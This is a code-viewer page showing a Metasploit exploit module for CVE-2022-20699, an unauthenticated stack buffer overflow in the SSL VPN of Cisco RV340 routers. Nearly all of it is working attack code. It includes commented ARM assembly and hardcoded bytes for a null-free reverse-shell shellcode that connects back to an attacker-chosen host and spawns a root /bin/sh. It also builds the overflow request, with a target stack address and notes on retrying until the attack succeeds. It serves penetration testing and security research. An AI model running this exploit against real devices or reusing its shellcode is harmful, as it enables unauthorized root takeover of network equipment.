Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution',17'Description' => %q{18This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN19functionality. The default SSL VPN configuration is exploitable, with no authentication20required and works over the Internet!21The stack is executable and no ASLR is in place, which makes exploitation easier.22Successful execution of this module results in a reverse root shell. A custom payload is23used as Metasploit does not have ARMLE null free shellcode.24This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon252022. For more information check the referenced advisory.26This module has been tested in firmware versions 1.0.03.15 and above and works with around2765% reliability. The service restarts automatically so you can keep trying until you pwn it.28Only the RV340 router was tested, but other RV series routers should work out of the box.29},30'Author' => [31'Pedro Ribeiro <[email protected]>', # Vulnerability discovery and Metasploit module32'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module33],34'License' => MSF_LICENSE,35'Platform' => 'linux',36'References' => [37['CVE', '2022-20699'],38['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'],39['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'],40['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'],41['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'],42],43'Arch' => ARCH_ARMLE,44# We actually use our own shellcode because Metasploit doesn't have ARM encoders!45'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },46'Targets' => [47[48'Cisco RV340 Firmware Version <= 1.0.03.24',49{50# Shellcode location on stack (rwx stack, seriously Cisco...)51# The same for all vulnerable firmware versions: 0x704aed98 (+ 1 for thumb)52#53# NOTE: this is the shellcode location about 65% of the time. The rest is at54# The remaining 35% will land at 0x704f6d98, causing this sploit will fail.55# There's no way to guess it, but the service will restart again, so let's stick56# with the most common stack address.57'Shellcode' => "\x99\xed\x4a\x70"58}59],60],61'DisclosureDate' => '2022-02-02',62'DefaultTarget' => 0,63'Notes' => {64'Stability' => [CRASH_SERVICE_RESTARTS],65# repeatable... but only works 65% of the time, see comments above66'Reliability' => [REPEATABLE_SESSION],67'SideEffects' => []68}69)70)71register_options(72[73Opt::RPORT(8443),74OptBool.new('SSL', [true, 'Use SSL', true])75]76)77end7879def check80# This should return a string like:81# "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)82res = send_request_cgi({ 'uri' => '/login.html' })83if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server')84Exploit::CheckCode::Detected85else86Exploit::CheckCode::Unknown87end88end8990def hex_to_bin(int)91hex = int.to_s(16)92if (hex.length == 1) || (hex.length == 3)93hex = '0' + hex94end95hex.scan(/../).map { |x| x.hex.chr }.join96end9798def prep_shelly99# We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE.100# A null free shellcode is needed, as this memory corruption is done through `strcat()`101#102# SHELLCODE_START:103# // Original shellcode from Azeria Labs aka @Fox0x01's blog, specifically104# // https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/105# // Expanded and Improved by the Flashback Team106# .global _start107# _start:108# .THUMB109# // socket(2, 1, 0)110# mov r0, #2111# mov r1, #1112# sub r2, r2113# mov r7, #200114# add r7, #81 // r7 = 281 (socket)115# svc #1 // r0 = resultant sockfd116# mov r4, r0 // save sockfd in r4117#118# // connect(r0, &sockaddr, 16)119# adr r1, struct // pointer to address, port120# strb r2, [r1, #1] // write 0 for AF_INET121# mov r2, #16122# add r7, #2 // r7 = 283 (connect)123# svc #1124#125# // dup2(sockfd, 0)126# mov r7, #63 // r7 = 63 (dup2)127# mov r0, r4 // r4 is the saved sockfd128# sub r1, r1 // r1 = 0 (stdin)129# svc #1130# // dup2(sockfd, 1)131# mov r0, r4 // r4 is the saved sockfd132# mov r1, #1 // r1 = 1 (stdout)133# svc #1134# // dup2(sockfd, 2)135# mov r0, r4 // r4 is the saved sockfd136# mov r1, #2 // r1 = 2 (stderr)137# svc #1138#139# // execve("/bin/sh", 0, 0)140# adr r0, binsh141# sub r2, r2142# sub r1, r1143# strb r2, [r0, #7]144# push {r0, r2}145# mov r1, sp146# cpy r2, r1147# mov r7, #11 // r7 = 11 (execve)148# svc #1149#150# eor r7, r7, r7151#152# struct:153# .ascii "\x02\xff" // AF_INET 0xff will be NULLed154# .ascii "\x11\x5d" // port number 4445155# .byte 5,5,5,1 // IP Address156# binsh:157# .ascii "/bin/shX"158# SHELLCODE_END159#160# Since we need to be null free, we have a very specific corner case, for addresses:161# X.0.Y.Z162# X.Y.0.Z163# X.Y.Z.0164# X.0.0.Y165# X.Y.0.0166# X.0.Y.0167# X.0.0.0168# These will contain a null byte for the each zero in the address.169#170# To fix this we add additional instructions to the shellcode and replace the null byte(s).171# adr r1, struct // pointer to address, port172# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)173# adr r1, struct // pointer to address, port174# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)175# adr r1, struct // pointer to address, port176# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)177#178179# The following is used to convert LHOST and LPORT for shellcode inclusion180lport_h = hex_to_bin(lport)181lhost_h = ''182jump = 0xc183datastore['LHOST'].split('.').each do |n|184octet = hex_to_bin(n.to_i)185if octet == "\x00"186# Why we do this? Check comments below my fren187jump += 1188end189lhost_h += octet190end191lhost_h = lhost_h.force_encoding('binary')192193# As part of the shellcode, we need to do:194# adr r1, struct // pointer to address, port195# strb r2, [r1, #1] // write 0 for AF_INET196#197# In order to do the "adr", we need to know where "struct" is. On an unmodified198# shellcode, this is "\x0c\xa1\x4a\x70".199# But if we have one or more null bytes in the LHOST, we need to add more instructions.200# This means the "\x0c", the distance from $pc to "struct, is going to be either201# "\x0d, "\x0e" or "\x0f".202# Long story short, this distance is the jump variable, and we need to calculate it203# properly the more instructions we add.204#205# This is our jump, now calculated with the additional (or not) instructions:206ins = hex_to_bin(jump) + "\xa1\x4a\x70"207jump -= 1208209# And now we calculate all the null bytes we have, replace them with \xff and add210# the proper jump:211for i in 1..3 do212next unless lhost_h[i] == "\x00"213214ins_add = ''215lhost_h[i] = "\xff"216if i == 1217# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)218ins_add = "\x4a\x71"219elsif i == 2220# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)221ins_add = "\x8a\x71"222elsif i == 3223# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)224ins_add = "\xca\x71"225end226ins += hex_to_bin(jump) + "\xa1" + ins_add227jump -= 1228end229ins = ins.force_encoding('binary')230231shellcode = "\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins +232"\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21" \233"\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4" \234"\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h +235"\x2f\x62\x69\x6e\x2f\x73\x68\x58"236shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode']237shelly238end239240def sock_get(app_host, app_port)241begin242ctx = { 'Msf' => framework, 'MsfExploit' => self }243sock = Rex::Socket.create_tcp(244{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }245)246rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError247sock.close if sock248end249if sock.nil?250fail_with(Failure::Unknown, 'Failed to connect to the chosen application')251end252253# also need to add support for old ciphers254ctx = OpenSSL::SSL::SSLContext.new255ctx.min_version = OpenSSL::SSL::SSL3_VERSION256ctx.security_level = 0257ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE258s = OpenSSL::SSL::SSLSocket.new(sock, ctx)259s.sync_close = true260s.connect261return s262end263264def exploit265print_status("#{peer} - Pwning #{target.name}")266payload = prep_shelly267begin268sock = sock_get(rhost, rport)269# With the base request, our shellcode will be about 0x12a from $sp when we take control.270#271# But we noticed that by adding more filler in the request we can have better reliability.272# So let's use 0x86 as filler and dump the filler in the URL! This number is arbitrary and273# can be increased / decreased, but we find 0x86 works well.274# (this means our shellcode address in the target definition above is $sp + 0x12a + 0x86)275#276# It would be good to add some valid headers with semi random data for proper evasion :D277http = 'POST /' + rand_text_alphanumeric(0x86) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n"278279sock.write(http)280sock.write(payload)281rescue ::Rex::ConnectionError282fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")283end284end285end286287288